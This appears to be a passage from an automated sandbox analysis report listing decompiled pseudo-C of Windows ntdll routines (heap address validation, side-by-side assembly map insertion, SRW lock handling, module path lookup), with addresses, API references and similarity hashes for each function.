									_t149 = _v68;
									goto L5;
								}
								_t162 =  &(_t159[2]);
								while( *_t162 != _t173) {
									_t153 = _t153 + 1;
									_t162 =  &(_t162[4]);
									if(_t153 < _t129) {
										continue;
									}
									break;
								}
								_t159 = _a12;
								_t149 = _v68;
								if(_t153 < _t129) {
									goto L5;
								}
								goto L19;
						}
					}
					L36:
					_t165 = _v64;
					_t169 = 0x7ffe0385;
					_t63 = _t169 - 1; // 0x7ffe0384
					_t140 = _t63;
					L37:
					_t118 = E6B567D50();
					if(_t118 != 0) {
						_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t169 & 0x00000001) != 0) {
						_t120 = E6B567D50();
						if(_t120 != 0) {
							_t140 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						E6B5D6715( &_v20,  *_t140 & 0x000000ff);
					}
					return _t165;
				}
			}

0x6b5599d7
0x6b5599dd
0x6b5599e0
0x6b5599e3
0x6b5599e8
0x6b5599e9
0x6b5599ed
0x6b5599f2
0x6b5599fa
0x6b5599ff
0x6b559a04
0x6b559a0c
0x6b559a11
0x6b559a18
0x6b5a9ff0
0x6b559a1e
0x6b559a1e
0x6b559a1e
0x6b559a23
0x6b559a28
0x6b5a9ffa
0x6b5aa001
0x6b5aa013
0x6b5aa003
0x6b5aa00c
0x6b5aa00c
0x6b5aa01c
0x6b5aa01c
0x6b559a2e
0x6b559a33
0x6b5aa026
0x00000000
0x6b559a39
0x6b559a3d
0x6b559a40
0x6b559a42
0x6b559a48
0x6b559a4c
0x6b559a50
0x6b559a54
0x6b559a58
0x6b559a58
0x6b559a58
0x6b559a5a
0x6b559a5d
0x6b559a64
0x00000000
0x00000000
0x6b559a6a
0x00000000
0x6b559b45
0x00000000
0x00000000
0x6b559b4e
0x6b559b52
0x6b5aa0cc
0x00000000
0x6b5aa0cc
0x6b559b58
0x6b559b5f
0x6b5aa030
0x6b5aa03a
0x6b5aa03e
0x6b5aa043
0x6b5aa045
0x00000000
0x00000000
0x6b5aa04b
0x6b5aa050
0x6b5aa053
0x6b5aa05a
0x6b5aa055
0x6b5aa055
0x6b5aa055
0x6b5aa05c
0x6b559b6a
0x6b559b6a
0x00000000
0x6b559b6c
0x00000000
0x00000000
0x6b559a73
0x6b559a78
0x6b559a7d
0x6b559a83
0x6b559b72
0x6b559aa1
0x6b559ab9
0x6b559abe
0x6b559ac3
0x6b559ac3
0x6b559aca
0x00000000
0x6b559ad0
0x6b559ad5
0x6b5aa065
0x6b5aa06c
0x6b5aa072
0x6b5aa072
0x6b5aa06c
0x6b559adc
0x6b559ae0
0x6b559ae2
0x6b559ae4
0x6b559ae5
0x00000000
0x6b559ae5
0x00000000
0x6b559b83
0x6b559b87
0x6b559b89
0x6b559bb2
0x00000000
0x6b559bb2
0x6b559b8e
0x6b559b97
0x6b559b9c
0x6b559b9e
0x6b559ba3
0x6b559ba5
0x6b559c9f
0x6b559ca9
0x6b559cae
0x6b559cb3
0x6b559cb5
0x6b5aa0b5
0x00000000
0x6b5aa0b5
0x6b559cbb
0x6b559cc2
0x6b559cc7
0x6b559ccc
0x6b5aa07c
0x6b5aa088
0x6b5aa08d
0x6b5aa095
0x6b5aa09a
0x6b5aa09f
0x6b5aa0ab
0x6b5aa0ab
0x6b5aa09f
0x6b559cd2
0x6b559cd6
0x6b559cdd
0x00000000
0x6b559ce2
0x6b559bab
0x6b559bab
0x6b559baf
0x00000000
0x00000000
0x6b559bbc
0x6b559bc1
0x6b559bc6
0x6b559bc9
0x6b559bcb
0x6b559bd0
0x00000000
0x00000000
0x6b559bd2
0x6b559bda
0x6b5aa0c2
0x00000000
0x6b5aa0c2
0x6b559be0
0x6b559be6
0x00000000
0x00000000
0x6b559c1f
0x6b559c28
0x6b559c29
0x6b559c2b
0x6b559c30
0x6b559c33
0x6b559c35
0x6b559c39
0x6b559c3b
0x6b559c3f
0x00000000
0x00000000
0x6b559c45
0x00000000
0x00000000
0x6b559c53
0x6b559c5c
0x6b559c5d
0x6b559c5f
0x6b559c64
0x6b559c67
0x6b559c69
0x6b559c6d
0x6b559c6f
0x6b559c73
0x00000000
0x00000000
0x6b559c79
0x6b559c7d
0x6b559c81
0x00000000
0x00000000
0x6b559c87
0x6b559c4a
0x6b559c4a
0x00000000
0x00000000
0x6b559ae9
0x6b559ae9
0x6b559af4
0x00000000
0x00000000
0x6b559afa
0x6b559afd
0x6b559aff
0x6b559b03
0x6b559b24
0x6b559b27
0x00000000
0x00000000
0x6b559b2d
0x6b559b35
0x6b559b39
0x6b559b3c
0x6b559b3c
0x00000000
0x6b559b3c
0x6b559b05
0x6b559b08
0x6b559b0d
0x6b559b0e
0x6b559b13
0x00000000
0x00000000
0x00000000
0x6b559b13
0x6b559b15
0x6b559b1a
0x6b559b1e
0x00000000
0x00000000
0x00000000
0x00000000
0x6b559a6a
0x6b559bf2
0x6b559bf2
0x6b559bf6
0x6b559bfb
0x6b559bfb
0x6b559bfe
0x6b559bfe
0x6b559c05
0x6b5aa0e1
0x6b5aa0e1
0x6b559c0e
0x6b5aa0ec
0x6b5aa0f3
0x6b5aa0fe
0x6b5aa0fe
0x6b5aa10b
0x6b5aa10b
0x6b559c1c
0x6b559c1c

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6B559A0C
RtlGetCurrentServiceSessionId.1105 ref: 6B559BFE
RtlGetCurrentServiceSessionId.1105 ref: 6B5A9FFA

Strings

LdrResFallbackLangList Exit, xrefs: 6B559A04
LdrResFallbackLangList Enter, xrefs: 6B5599F2

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 1007659313-1720564570
Opcode ID: 9847f944ca521a80ed2092f53d0f4c4a78ba0ba1ac4cd6ade85397d8e8885699
Instruction ID: a7f26796ef252a06ccc45ba8bc31fb4e0d51f908a974a8ccb865aa0c3d7ebc60
Opcode Fuzzy Hash: 9847f944ca521a80ed2092f53d0f4c4a78ba0ba1ac4cd6ade85397d8e8885699
Instruction Fuzzy Hash: C451A17260D3828BF711CF28C44079AB7E4FF86755F0489AAE994DB292E73DC850C756

Uniqueness

Uniqueness Score: -1.00%

Function 6B543FC5, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6B543FC5(signed int __edx, intOrPtr _a4) {
				void* __ecx;
				signed char _t44;
				signed char _t48;
				intOrPtr* _t50;
				unsigned int _t51;
				signed char _t52;
				signed int _t58;
				signed int _t59;
				intOrPtr _t62;
				intOrPtr* _t64;
				signed int _t65;
				signed int _t78;

				_t58 = __edx;
				_t78 = _t59;
				if(__edx == 0 || (__edx & 0x00000007) != 0) {
					L37:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t58 + 8);
					_push(_t78);
					E6B54B150("Invalid address specified to %s( %p, %p )\n", _a4);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6b636378 = 1;
						asm("int3");
						 *0x6b636378 = 0;
					}
					return 0;
				} else {
					_t44 =  *((intOrPtr*)(__edx + 7));
					if((_t44 & 0x0000003f) == 0) {
						goto L37;
					}
					if(_t44 < 0) {
						if( *((char*)(_t78 + 0xda)) != 2) {
							_t62 = 0;
						} else {
							_t62 =  *((intOrPtr*)(_t78 + 0xd4));
						}
						if(_t62 != 0) {
							if(_t44 != 4) {
								L23:
								return 1;
							}
						}
						goto L37;
					}
					if( *(_t78 + 0x4c) == 0 || ( *(_t78 + 0x50) ^  *__edx) >> 0x18 == (( *(_t78 + 0x50) ^  *__edx) >> 0x00000010 ^ ( *(_t78 + 0x50) ^  *__edx) >> 0x00000008 ^ _t76)) {
						if( *((char*)(_t58 + 7)) == 4) {
							if((_t58 & 0x00000fff) != 0x18) {
								goto L37;
							}
							L13:
							if( *(_t78 + 0x4c) == 0) {
								_t48 =  *((intOrPtr*)(_t58 + 2));
							} else {
								_t51 =  *_t58;
								if(( *(_t78 + 0x4c) & _t51) != 0) {
									_t51 = _t51 ^  *(_t78 + 0x50);
								}
								_t48 = _t51 >> 0x10;
							}
							if((_t48 & 0x00000004) != 0) {
								if(E6B5F23E3(_t78, _t58) != 0) {
									goto L18;
								}
							} else {
								L18:
								if( *((char*)(_t58 + 7)) == 4) {
									goto L23;
								}
								_t64 = _t78 + 0xa4;
								_t50 =  *_t64;
								while(_t50 != _t64) {
									if(_t58 <  *((intOrPtr*)(_t50 + 0x14)) || _t58 >=  *((intOrPtr*)(_t50 + 0x18))) {
										_t50 =  *_t50;
										continue;
									} else {
										goto L23;
									}
								}
							}
							goto L37;
						}
						_t52 =  *((intOrPtr*)(_t58 + 6));
						if(_t52 == 0) {
							_t65 = _t78;
						} else {
							_t65 = (_t58 & 0xffff0000) - ((_t52 & 0x000000ff) << 0x10) + 0x10000;
						}
						if(_t65 == 0 ||  *((intOrPtr*)(_t65 + 0x18)) != _t78 || _t58 <  *((intOrPtr*)(_t65 + 0x24)) || _t58 >=  *((intOrPtr*)(_t65 + 0x28))) {
							goto L37;
						} else {
							goto L13;
						}
					} else {
						goto L37;
					}
				}
			}

0x6b543fcc
0x6b543fcf
0x6b543fd3
0x6b5a03b8
0x6b5a03c2
0x6b5a03e1
0x6b5a03e6
0x6b5a03c4
0x6b5a03d9
0x6b5a03de
0x6b5a03ef
0x6b5a03f0
0x6b5a03f9
0x6b5a040b
0x6b5a040d
0x6b5a0414
0x6b5a0415
0x6b5a0415
0x00000000
0x6b543fe2
0x6b543fe2
0x6b543fe7
0x00000000
0x00000000
0x6b543fef
0x6b5440b8
0x6b5440d8
0x6b5440ba
0x6b5440ba
0x6b5440ba
0x6b5440c2
0x6b5440ca
0x6b5440a4
0x00000000
0x6b5440a4
0x6b5440cc
0x00000000
0x6b5440c2
0x6b543ff9
0x6b54401f
0x6b5a03a0
0x00000000
0x00000000
0x6b544069
0x6b54406d
0x6b5440dc
0x6b54406f
0x6b54406f
0x6b544074
0x6b544076
0x6b544076
0x6b544079
0x6b544079
0x6b54407e
0x6b5a03b2
0x00000000
0x00000000
0x6b544084
0x6b544084
0x6b544088
0x00000000
0x00000000
0x6b54408a
0x6b544090
0x6b544092
0x6b54409d
0x6b5440ad
0x00000000
0x00000000
0x00000000
0x00000000
0x6b54409d
0x6b544092
0x00000000
0x6b54407e
0x6b544025
0x6b54402a
0x6b5440d1
0x6b544030
0x6b544040
0x6b544040
0x6b544048
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b543ff9

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,6B603933,RtlGetUserInfoHeap), ref: 6B5A03D9
DbgPrint.1105(HEAP: ,?,?,?,?,6B603933,RtlGetUserInfoHeap), ref: 6B5A03E6
DbgPrint.1105(Invalid address specified to %s( %p, %p ),?,?,?,?,?,?,?,6B603933,RtlGetUserInfoHeap), ref: 6B5A03F9

Strings

HEAP[%wZ]: , xrefs: 6B5A03D4
HEAP: , xrefs: 6B5A03E1
Invalid address specified to %s( %p, %p ), xrefs: 6B5A03F4

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 3558298466-1151232445
Opcode ID: 39fcf9b2933b7d25ffcfc359e57ad150e4d31919f8b46f4b88efcefb7057f87f
Instruction ID: d98200b77e51a0aa334c59433f7a757687a94efdf00443541788bd707990b63b
Opcode Fuzzy Hash: 39fcf9b2933b7d25ffcfc359e57ad150e4d31919f8b46f4b88efcefb7057f87f
Instruction Fuzzy Hash: 2F41E230654340CBFB26EF29C4D17EA77A09F02708F1844EBD5595F642CBAED895C726

Uniqueness

Uniqueness Score: -1.00%

Function 6B57CE6C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 131
memoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6B57CE6C(void* __ecx, signed int __edx, signed short* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _t37;
				void* _t54;
				signed int* _t56;
				void* _t58;
				signed int _t59;
				void* _t60;
				intOrPtr _t66;
				signed int _t69;
				void* _t70;
				void* _t73;
				signed short* _t74;
				void* _t75;
				signed int* _t76;

				_t74 = _a4;
				_t54 = __ecx;
				_t37 = __edx;
				_t73 = 0;
				_v12 = __edx;
				if(__ecx == 0 || __edx < 1 || __edx >  *((intOrPtr*)(__ecx + 4))) {
					_t56 = _a8;
					goto L17;
				} else {
					if(_t74 == 0) {
						_t56 = _a8;
						L20:
						_v8 = _v8 & _t73;
						L21:
						if(_t74 == 0) {
							_v12 = _v12 & _t73;
						} else {
							_v12 =  *_t74 & 0x0000ffff;
						}
						if(_t54 == 0) {
							_t66 = 0;
						} else {
							_t66 =  *((intOrPtr*)(_t54 + 4));
						}
						_push(_t56);
						_push(_v8);
						_push(_v12);
						_push(_t74);
						_push(_t66);
						_push(_t37);
						_push(_t54);
						E6B5D5720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Map                    : %p\nSXS:  AssemblyRosterIndex    : 0x%lx\nSXS:  Map->AssemblyCount     : 0x%lx\nSXS:  StorageLocation        : %p\nSXS:  StorageLocation->Length: 0x%x\nSXS:  StorageLocation->Buffer: %p\nSXS:  OpenDirectoryHandle    : %p\n", "RtlpInsertAssemblyStorageMapEntry");
						_t75 = 0xc000000d;
						L12:
						if(_t73 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t73);
						}
						L13:
						return _t75;
					}
					_t69 =  *_t74 & 0x0000ffff;
					_t58 = 2;
					_t56 = _a8;
					if(_t69 < _t58 || _t74[2] == 0 || _t56 == 0) {
						L17:
						if(_t74 == 0) {
							goto L20;
						}
						_v8 = _t74[2];
						goto L21;
					} else {
						_t59 = _t69;
						if(_t59 + 2 > 0xfffe) {
							_t75 = 0xc0000106;
							goto L13;
						}
						_t73 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t59 + 0x12);
						if(_t73 == 0) {
							_t75 = 0xc0000017;
							goto L13;
						}
						 *_t73 =  *_t73 & 0x00000000;
						_t9 = _t73 + 0x10; // 0x10
						_t60 = _t9;
						 *(_t73 + 4) =  *_t74;
						 *(_t73 + 8) = _t60;
						_t70 = 2;
						 *((short*)(_t73 + 6)) =  *_t74 + _t70;
						memcpy(_t60, _t74[2],  *_t74 & 0x0000ffff);
						_t76 = _a8;
						 *((short*)( *(_t73 + 8) + (( *(_t73 + 4) & 0x0000ffff) >> 1) * 2)) = 0;
						 *(_t73 + 0xc) =  *_t76;
						asm("lock cmpxchg [edx], ecx");
						if(0 == 0) {
							_t73 = 0;
							 *_t76 =  *_t76 & 0;
						}
						_t75 = 0;
						goto L12;
					}
				}
			}

0x6b57ce76
0x6b57ce79
0x6b57ce7c
0x6b57ce7e
0x6b57ce80
0x6b57ce85
0x6b5badcd
0x00000000
0x6b57ce9d
0x6b57ce9f
0x6b5baddc
0x6b5baddf
0x6b5baddf
0x6b5bade2
0x6b5bade4
0x6b5badee
0x6b5bade6
0x6b5bade9
0x6b5bade9
0x6b5badf3
0x6b5badfa
0x6b5badf5
0x6b5badf5
0x6b5badf5
0x6b5badfc
0x6b5badfd
0x6b5bae00
0x6b5bae03
0x6b5bae04
0x6b5bae05
0x6b5bae06
0x6b5bae15
0x6b5bae1d
0x6b57cf50
0x6b57cf52
0x6b5bae34
0x6b5bae34
0x6b57cf59
0x6b57cf60
0x6b57cf60
0x6b57cea5
0x6b57ceaa
0x6b57ceae
0x6b57ceb1
0x6b5badd0
0x6b5badd2
0x00000000
0x00000000
0x6b5badd7
0x00000000
0x6b57cec8
0x6b57cec8
0x6b57ced2
0x6b5badc3
0x00000000
0x6b5badc3
0x6b57ceeb
0x6b57ceef
0x6b57cf63
0x00000000
0x6b57cf63
0x6b57cef1
0x6b57cef4
0x6b57cef4
0x6b57cefa
0x6b57cf00
0x6b57cf06
0x6b57cf0a
0x6b57cf16
0x6b57cf27
0x6b57cf2c
0x6b57cf35
0x6b57cf42
0x6b57cf48
0x6b57cf4a
0x6b57cf4c
0x6b57cf4c
0x6b57cf4e
0x00000000
0x6b57cf4e
0x6b57ceb1

APIs

RtlAllocateHeap.1105(?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6B57CEE6
memcpy.1105(00000010,?,00000000,?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6B57CF16
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand,RtlpInsertAssemblyStorageMapEntry,00000040,?,00000000,00000000,00000000,00000002,?,00000040,00000000,?,?,00000000), ref: 6B5BAE15
RtlFreeHeap.1105(?,00000000,00000000,00000040,00000000,?,?,00000000,00000002), ref: 6B5BAE34

Strings

SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand, xrefs: 6B5BAE0C
RtlpInsertAssemblyStorageMapEntry, xrefs: 6B5BAE07

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreePrintmemcpy
String ID: RtlpInsertAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand
API String ID: 3020890669-2104531740
Opcode ID: 07112c51252be418e3d8f4df2f1aaf145d17c9664244e17865ba71a4c30bbc63
Instruction ID: 846fe6a8bf883a40101ecf75ee41730b0ed3f772c2f37704a864fb50e6f88eec
Opcode Fuzzy Hash: 07112c51252be418e3d8f4df2f1aaf145d17c9664244e17865ba71a4c30bbc63
Instruction Fuzzy Hash: 2E41E171600615AFF724DF59C8A1AEAB3B5FF94B11F1084ADE9988B640EB38DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B579ED0, Relevance: 10.6, APIs: 7, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6B579ED0(signed int* __ecx, signed int __edx, intOrPtr _a4) {
				char _v12;
				signed int _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int* _v40;
				char _v41;
				char _v42;
				char _v45;
				char _v46;
				void* __ebx;
				void* __edi;
				signed int _t39;
				signed int _t66;
				char _t70;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				signed int _t93;
				signed int _t94;
				void* _t98;

				_push(_t66);
				_t88 =  *__ecx;
				_t70 = 0;
				_t93 = __ecx[1];
				_v40 = __ecx;
				_t39 = __edx;
				asm("cdq");
				_v41 = 0;
				_v42 = 0;
				_v36 = __edx;
				_v16 = __edx;
				L1:
				while(1) {
					if(_t70 != 0) {
						E6B55FFB0(_t66, _t88, _v40 + 8);
						_v46 = 0;
						L15:
						_t39 = _v36;
						L3:
						_v32 = _t93;
						_v28 = _t88;
						asm("adc eax, esi");
						_t89 = _t88 ^ _t39 + _t88 ^ _t88;
						_t94 = _t93 ^ (_v16 ^ _t93) & 0x0fffffff;
						_t84 = _t94 & 0x0fffffff;
						if((_v32 & 0x80000000) != 0) {
							if((_t89 | _t84) != 0) {
								goto L4;
							}
							_t94 = _t94 & 0x7fffffff;
							_v42 = 1;
							E6B562280(_v40 + 8, _v40 + 8);
							L5:
							_t66 = _t89;
							asm("lock cmpxchg8b [esi]");
							_t88 = _v28;
							_t93 = _v32;
							_t39 = _v36;
							if(_t88 != _v28 || _t93 != _v32) {
								_t70 = _v41;
								continue;
							} else {
								if(_v42 != 0) {
									_t54 = _v40;
									 *((intOrPtr*)(_v40 + 0xc)) = 0;
									E6B55FFB0(_t66, _t88, _v40 + 8);
									_t39 = E6B618858( *((intOrPtr*)(_t54 + 0xc)));
								} else {
									if(_v41 != 0) {
										_t91 = _v40;
										_t98 = _v40 + 0xc;
										E6B618833(_t98,  &_v12);
										E6B56FA00(_t66, _t98, _v40, _t91 + 8);
										_push(0);
										_push(_t98);
										_t39 = E6B58B180();
									}
								}
								return _t39;
							}
						}
						L4:
						if(_a4 != 0) {
							if((_t89 | _t84) == 0) {
								goto L5;
							}
							_t94 = _t94 | 0x80000000;
							_v41 = 1;
							E6B56FAD0(_v40 + 8);
						}
						goto L5;
					}
					if(_t70 != 0) {
						E6B56FA00(_t66, _t70, _t88, _v40 + 8);
						_v45 = 0;
						goto L15;
					}
					goto L3;
				}
			}

0x6b579edf
0x6b579ee2
0x6b579ee4
0x6b579ee6
0x6b579ee9
0x6b579eed
0x6b579eef
0x6b579ef0
0x6b579ef4
0x6b579ef8
0x6b579efc
0x00000000
0x6b579f00
0x6b579f02
0x6b5b9836
0x6b5b983b
0x6b5b9854
0x6b5b9854
0x6b579f10
0x6b579f12
0x6b579f1c
0x6b579f20
0x6b579f26
0x6b579f31
0x6b579f3d
0x6b579f45
0x6b5b9861
0x00000000
0x00000000
0x6b5b986b
0x6b5b9874
0x6b5b987a
0x6b579f51
0x6b579f5b
0x6b579f61
0x6b579f65
0x6b579f67
0x6b579f69
0x6b579f71
0x6b579fa7
0x00000000
0x6b579f79
0x6b579f7e
0x6b5b98a1
0x6b5b98a8
0x6b5b98b3
0x6b5b98ba
0x6b579f84
0x6b579f89
0x6b5b98c4
0x6b5b98cc
0x6b5b98d1
0x6b5b98da
0x6b5b98df
0x6b5b98e1
0x6b5b98e2
0x6b5b98e2
0x6b579f89
0x6b579f95
0x6b579f95
0x6b579f71
0x6b579f4b
0x6b579f4f
0x6b579f9c
0x00000000
0x00000000
0x6b5b9888
0x6b5b9891
0x6b5b9897
0x6b5b9897
0x00000000
0x6b579f4f
0x6b579f0a
0x6b5b984a
0x6b5b984f
0x00000000
0x6b5b984f
0x00000000
0x6b579f0a

APIs

RtlReleaseSRWLockExclusive.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6B5B9836
RtlReleaseSRWLockShared.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6B5B984A
RtlAcquireSRWLockExclusive.1105(?), ref: 6B5B987A
RtlAcquireSRWLockShared.1105(?), ref: 6B5B9897
RtlReleaseSRWLockExclusive.1105(?), ref: 6B5B98B3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction ID: 8df7bbde78694b0c61a0becc9bee4b8cdb145cb6d48fbee569351f852bcc30f8
Opcode Fuzzy Hash: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction Fuzzy Hash: 5F41B172A0C3829BE711DF28885178BB7E5AFD5718F08499DF89497242D63CDD0887E3

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D6365, Relevance: 10.6, APIs: 7, Instructions: 123
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6B5D6365(void* __ecx, wchar_t* __edx, signed short _a4, signed int* _a8, void** _a12, intOrPtr* _a16, char* _a20) {
				long _v8;
				wchar_t* _v12;
				int _v16;
				long _t30;
				void _t36;
				void _t39;
				intOrPtr* _t40;
				signed int* _t41;
				char* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				int _t52;
				void* _t53;
				intOrPtr _t56;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t64;
				long _t65;
				wchar_t* _t66;
				wchar_t* _t67;
				void* _t68;

				_t65 = _a4 & 0x0000ffff;
				_v12 = __edx;
				_t63 = __ecx;
				_t47 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t65);
				_t30 = 0;
				_v8 = 0;
				if(_t47 == 0) {
					_t64 = 0xc0000017;
					L8:
					if(_t47 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t30, _t47);
					}
					return _t64;
				}
				_push( &_v16);
				_push(_t65);
				_push(_t47);
				_push(2);
				_push(_t63);
				_push(0xffffffff);
				_t64 = E6B589730();
				if(_t64 < 0) {
					L7:
					_t30 = 0;
					goto L8;
				}
				_t49 =  *(_t47 + 4);
				_t61 = _t49 + 2;
				do {
					_t36 =  *_t49;
					_t49 = _t49 + 2;
				} while (_t36 != _v8);
				_t52 = 2 + (_t49 - _t61 >> 1) * 2;
				_v16 = _t52;
				if(_t52 >= _t65) {
					_t64 = 0x80000005;
					goto L7;
				}
				_t66 = _v12;
				memcpy(_t66,  *(_t47 + 4), _t52);
				_t67 = wcsrchr(_t66, 0x5c);
				if(_t67 != 0) {
					_t68 = _t67 + 2;
					_t53 = _t68;
					_t15 = _t53 + 2; // 0x0
					_t62 = _t15;
					do {
						_t39 =  *_t53;
						_t53 = _t53 + 2;
					} while (_t39 != _v8);
					_t56 = (_t53 - _t62 >> 1) + (_t53 - _t62 >> 1);
					_v8 = _t56;
					if(_a12 == 0) {
						L17:
						_t40 = _a16;
						if(_t40 != 0) {
							 *_t40 = _t56;
						}
						_t41 = _a8;
						if(_t41 != 0) {
							 *_t41 = _t68 - _v12 & 0xfffffffe;
						}
						_t42 = _a20;
						if(_t42 != 0) {
							 *_t42 = 1;
						}
						goto L7;
					}
					_t19 = _t56 + 2; // -2
					_t45 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t19);
					 *_a12 = _t45;
					if(_t45 != 0) {
						memcpy(_t45, _t68, _v8 + 2);
						_t56 = _v8;
						goto L17;
					}
					_t64 = 0xc0000017;
					goto L7;
				}
				_t64 = 0xc0000039;
				goto L7;
			}

0x6b5d6375
0x6b5d6380
0x6b5d6383
0x6b5d638a
0x6b5d638c
0x6b5d638e
0x6b5d6393
0x6b5d64ab
0x6b5d63fc
0x6b5d63fe
0x6b5d640b
0x6b5d640b
0x6b5d6418
0x6b5d6418
0x6b5d639c
0x6b5d639d
0x6b5d639e
0x6b5d639f
0x6b5d63a1
0x6b5d63a2
0x6b5d63a9
0x6b5d63ad
0x6b5d63fa
0x6b5d63fa
0x00000000
0x6b5d63fa
0x6b5d63af
0x6b5d63b2
0x6b5d63b5
0x6b5d63b5
0x6b5d63b8
0x6b5d63bb
0x6b5d63c5
0x6b5d63cc
0x6b5d63d1
0x6b5d64a1
0x00000000
0x6b5d64a1
0x6b5d63d7
0x6b5d63df
0x6b5d63ec
0x6b5d63f3
0x6b5d641b
0x6b5d641e
0x6b5d6420
0x6b5d6420
0x6b5d6423
0x6b5d6423
0x6b5d6426
0x6b5d6429
0x6b5d6433
0x6b5d6439
0x6b5d643c
0x6b5d6476
0x6b5d6476
0x6b5d647b
0x6b5d647d
0x6b5d647d
0x6b5d647f
0x6b5d6484
0x6b5d648c
0x6b5d648c
0x6b5d648e
0x6b5d6493
0x6b5d6499
0x6b5d6499
0x00000000
0x6b5d6493
0x6b5d643e
0x6b5d644d
0x6b5d6455
0x6b5d6459
0x6b5d646b
0x6b5d6470
0x00000000
0x6b5d6473
0x6b5d645b
0x00000000
0x6b5d645b
0x6b5d63f5
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,?,00000000,?,00000000), ref: 6B5D6385
ZwQueryVirtualMemory.1105(000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6B5D63A4
memcpy.1105(?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6B5D63DF
wcsrchr.1105(?,0000005C,?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?), ref: 6B5D63E7
